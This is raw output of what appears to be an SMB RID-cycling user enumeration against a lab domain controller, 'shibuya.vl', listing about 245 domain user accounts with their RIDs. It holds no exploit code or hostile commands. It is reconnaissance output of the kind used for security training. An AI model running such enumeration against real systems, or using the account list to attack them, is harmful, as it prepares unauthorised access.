SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1241: SHIBUYA\Glenn.Gough (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1242: SHIBUYA\Sam.Stone (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1243: SHIBUYA\Susan.Baker (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1244: SHIBUYA\Eileen.Anderson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1245: SHIBUYA\Vincent.Bryan (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1246: SHIBUYA\Deborah.Edwards (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1247: SHIBUYA\Rosemary.Edwards (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1248: SHIBUYA\Dominic.Matthews (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1249: SHIBUYA\Sylvia.Farrell (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1250: SHIBUYA\Amanda.Wall (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1251: SHIBUYA\Timothy.Freeman (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1252: SHIBUYA\Bethan.Davies (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1253: SHIBUYA\Alan.Pearce (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1254: SHIBUYA\Stanley.Smart (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1255: SHIBUYA\Susan.Butler (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1256: SHIBUYA\Hannah.Thompson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1257: SHIBUYA\Janice.Connolly (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1258: SHIBUYA\Rhys.Marsh (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1259: SHIBUYA\Phillip.Campbell (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1260: SHIBUYA\Norman.Evans (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1261: SHIBUYA\Terry.Sharp (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1262: SHIBUYA\Rosie.Williams (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1263: SHIBUYA\Dominic.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1264: SHIBUYA\Dorothy.Turner (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1265: SHIBUYA\Oliver.Rees (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1266: SHIBUYA\Lewis.Robson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1267: SHIBUYA\Glenn.Gould (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1268: SHIBUYA\Max.Clark (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1269: SHIBUYA\Oliver.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1270: SHIBUYA\Ronald.Martin (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1271: SHIBUYA\Donald.Dunn (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1272: SHIBUYA\Alexander.Wilson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1273: SHIBUYA\Geoffrey.Griffiths (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1274: SHIBUYA\Olivia.Gibson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1275: SHIBUYA\Mitchell.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1276: SHIBUYA\Philip.Stephens (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1277: SHIBUYA\Jeremy.Riley (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1278: SHIBUYA\Louis.Wood (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1279: SHIBUYA\Leanne.Williams (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1280: SHIBUYA\Lisa.Harper (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1281: SHIBUYA\Marilyn.Jordan (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1282: SHIBUYA\Jenna.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1283: SHIBUYA\Marie.Chadwick (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1284: SHIBUYA\Sandra.Ward (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1285: SHIBUYA\Stacey.Murray (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1286: SHIBUYA\Katy.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1287: SHIBUYA\Tina.Lee (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1288: SHIBUYA\Arthur.Cox (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1289: SHIBUYA\Gareth.Brown (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1290: SHIBUYA\Gillian.Wallace (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1291: SHIBUYA\Damien.Thompson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1292: SHIBUYA\Harry.Turner (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1293: SHIBUYA\Terry.Green (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1294: SHIBUYA\Jade.Pearson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1295: SHIBUYA\Hugh.Wright (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1296: SHIBUYA\Jonathan.Pugh (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1297: SHIBUYA\Melanie.Grant (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1298: SHIBUYA\Jeffrey.Taylor (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1299: SHIBUYA\Lauren.Turner (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1300: SHIBUYA\Jeffrey.Harrison (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1301: SHIBUYA\Tony.Benson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1302: SHIBUYA\Tony.Owens (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1303: SHIBUYA\Rosie.O'Donnell (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1304: SHIBUYA\Abdul.Smart (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1305: SHIBUYA\Kyle.Chambers (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1306: SHIBUYA\Terry.Howard (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1307: SHIBUYA\Pamela.Knowles (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1308: SHIBUYA\Dylan.Allen (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1309: SHIBUYA\Kerry.Bailey (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1310: SHIBUYA\Stuart.Fletcher (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1311: SHIBUYA\Shaun.Campbell (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1312: SHIBUYA\Beverley.Willis (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1313: SHIBUYA\Chelsea.Green (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1314: SHIBUYA\Lydia.Bates (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1315: SHIBUYA\Bernard.Lewis (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1316: SHIBUYA\Julia.Allen (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1317: SHIBUYA\Luke.Boyle (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1318: SHIBUYA\Helen.Dickinson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1319: SHIBUYA\Bryan.Arnold (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1320: SHIBUYA\Dorothy.Power (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1321: SHIBUYA\Irene.Nicholson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1322: SHIBUYA\Georgina.Cameron (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1323: SHIBUYA\Amber.Webster (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1324: SHIBUYA\Lawrence.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1325: SHIBUYA\Gavin.Patel (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1326: SHIBUYA\Dylan.Brown (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1327: SHIBUYA\Janet.Banks (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1328: SHIBUYA\Ann.Davies (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1329: SHIBUYA\Jade.Hunter (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1330: SHIBUYA\Diane.West (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1331: SHIBUYA\Lynda.Woodward (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1332: SHIBUYA\Hilary.Hilton (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1333: SHIBUYA\Lisa.Quinn (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1334: SHIBUYA\Alexandra.Vincent (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1335: SHIBUYA\Kenneth.Cunningham (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1336: SHIBUYA\Tom.Hunt (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1337: SHIBUYA\Hilary.Davies (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1338: SHIBUYA\Lorraine.Williams (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1339: SHIBUYA\Mathew.Cook (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1340: SHIBUYA\Chloe.Williams (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1341: SHIBUYA\Robert.Reynolds (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1342: SHIBUYA\Marion.Thompson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1343: SHIBUYA\Callum.Miles (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1344: SHIBUYA\Alice.Day (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1345: SHIBUYA\Tracy.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1346: SHIBUYA\Vanessa.Cooke (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1347: SHIBUYA\Karen.Stephenson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1348: SHIBUYA\Vanessa.Dixon (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1349: SHIBUYA\Kelly.Robertson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1350: SHIBUYA\Timothy.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1351: SHIBUYA\Josh.Rees (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1352: SHIBUYA\Leslie.Lloyd (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1353: SHIBUYA\Kayleigh.Roberts (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1354: SHIBUYA\Jonathan.Brady (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1355: SHIBUYA\Leah.Parry (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1356: SHIBUYA\Dale.Thomas (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1357: SHIBUYA\Eleanor.Hamilton (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1358: SHIBUYA\Kenneth.Coleman (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1359: SHIBUYA\Christian.Marsden (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1360: SHIBUYA\Antony.Storey (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1361: SHIBUYA\Dominic.Wilson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1362: SHIBUYA\Angela.Grant (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1363: SHIBUYA\Ian.Barker (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1364: SHIBUYA\Pamela.Bennett (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1365: SHIBUYA\Billy.Little (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1366: SHIBUYA\Alan.Butler (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1367: SHIBUYA\Nigel.Mills (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1368: SHIBUYA\Leanne.Gill (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1369: SHIBUYA\Stuart.Taylor (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1370: SHIBUYA\Deborah.Graham (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1371: SHIBUYA\Mitchell.Winter (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1372: SHIBUYA\Paula.Davies (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1373: SHIBUYA\Barbara.Rowley (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1374: SHIBUYA\Lynda.Nash (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1375: SHIBUYA\Kyle.Hill (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1376: SHIBUYA\Lesley.Lynch (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1377: SHIBUYA\Beth.Baker (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1378: SHIBUYA\Julie.Davies (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1379: SHIBUYA\Irene.Allan (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1380: SHIBUYA\Thomas.Brookes (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1381: SHIBUYA\Russell.Phillips (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1382: SHIBUYA\Donna.Green (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1383: SHIBUYA\Natalie.Knowles (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1384: SHIBUYA\Toby.Lamb (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1385: SHIBUYA\Jayne.Barnes (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1386: SHIBUYA\Elliott.Watson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1387: SHIBUYA\Adam.Long (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1388: SHIBUYA\Jean.Allen (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1389: SHIBUYA\Lauren.Walters (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1390: SHIBUYA\Leanne.Bentley (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1391: SHIBUYA\Kieran.Miller (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1392: SHIBUYA\Holly.Bradley (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1393: SHIBUYA\Jodie.Khan (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1394: SHIBUYA\Billy.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1395: SHIBUYA\Jeremy.Howells (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1396: SHIBUYA\Elliott.Storey (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1397: SHIBUYA\Denise.Harvey (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1398: SHIBUYA\Ann.Kaur (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1399: SHIBUYA\Damian.Marshall (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1400: SHIBUYA\Colin.Gibson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1401: SHIBUYA\Georgina.Long (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1402: SHIBUYA\Bernard.Bevan (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1403: SHIBUYA\Lawrence.Collins (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1404: SHIBUYA\Lee.Hunt (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1405: SHIBUYA\Marcus.Collins (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1406: SHIBUYA\Alexander.Mitchell (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1407: SHIBUYA\Keith.Wilson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1408: SHIBUYA\Joan.Taylor (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1409: SHIBUYA\Simon.Watson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1410: SHIBUYA\Duncan.Roberts (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1411: SHIBUYA\Hazel.Wright (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1412: SHIBUYA\Paul.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1413: SHIBUYA\Martyn.Thompson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1414: SHIBUYA\Victor.Ellis (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1415: SHIBUYA\Aaron.Howard (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1416: SHIBUYA\Brenda.Reynolds (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1417: SHIBUYA\Lawrence.Morton (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1418: SHIBUYA\George.Hill (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1419: SHIBUYA\Leslie.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1420: SHIBUYA\Gillian.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1421: SHIBUYA\Maureen.Hill (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1422: SHIBUYA\Megan.James (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1423: SHIBUYA\Nathan.Moss (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1424: SHIBUYA\Damian.Wilson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1425: SHIBUYA\Paige.Murphy (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1426: SHIBUYA\Shirley.Parker (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1427: SHIBUYA\Maurice.Hill (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1428: SHIBUYA\Sandra.Williams (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1429: SHIBUYA\Ian.Newton (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1430: SHIBUYA\Lorraine.Cox (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1431: SHIBUYA\Abbie.Ford (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1432: SHIBUYA\Eileen.Greenwood (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1433: SHIBUYA\Anthony.Clayton (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1434: SHIBUYA\Oliver.Allen (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1435: SHIBUYA\Harry.King (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1436: SHIBUYA\Vincent.Graham (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1437: SHIBUYA\Amanda.Parkin (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1438: SHIBUYA\Stephanie.Potter (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1439: SHIBUYA\Melissa.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1440: SHIBUYA\Michelle.Johnston (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1441: SHIBUYA\Jamie.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1442: SHIBUYA\Anthony.Webster (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1443: SHIBUYA\Tracy.Godfrey (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1444: SHIBUYA\Brian.Singh (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1445: SHIBUYA\Shirley.Fuller (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1446: SHIBUYA\Beth.Campbell (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1447: SHIBUYA\Clifford.Robinson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1448: SHIBUYA\Alan.Bibi (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1449: SHIBUYA\Lauren.Wilkinson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1450: SHIBUYA\Lucy.Evans (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1451: SHIBUYA\Damien.Jenkins (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1452: SHIBUYA\Charlotte.Brooks (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1453: SHIBUYA\Alison.Chapman (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1454: SHIBUYA\Roy.Knowles (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1455: SHIBUYA\Sally.Wilson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1456: SHIBUYA\Clive.Hamilton (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1457: SHIBUYA\Samuel.Herbert (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1458: SHIBUYA\Jake.Young (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1459: SHIBUYA\Louis.Brown (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1460: SHIBUYA\Gavin.Harvey (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1461: SHIBUYA\Alexandra.Wright (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1462: SHIBUYA\Samantha.Singh (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1463: SHIBUYA\Alan.Carter (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1464: SHIBUYA\Reece.Taylor (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1465: SHIBUYA\Paula.Green (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1466: SHIBUYA\George.Clark (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1467: SHIBUYA\Arthur.Morris (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1468: SHIBUYA\Carly.Price (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1469: SHIBUYA\Jamie.Hardy (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1470: SHIBUYA\Brandon.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1471: SHIBUYA\Hollie.Clark (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1472: SHIBUYA\Melanie.Lambert (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1473: SHIBUYA\Leanne.Hughes (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1474: SHIBUYA\Roger.Wright (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1475: SHIBUYA\Dorothy.Fletcher (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1476: SHIBUYA\Gerald.Cox (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1477: SHIBUYA\Hayley.Parkinson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1478: SHIBUYA\Declan.Walker (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1479: SHIBUYA\Christine.Lamb (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1480: SHIBUYA\Danny.Barnett (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1481: SHIBUYA\Marilyn.Barnett (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1482: SHIBUYA\Liam.Webster (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1483: SHIBUYA\Rhys.Williams (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1484: SHIBUYA\Steven.Fraser (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1485: SHIBUYA\Alexander.Jones (SidTypeUser)
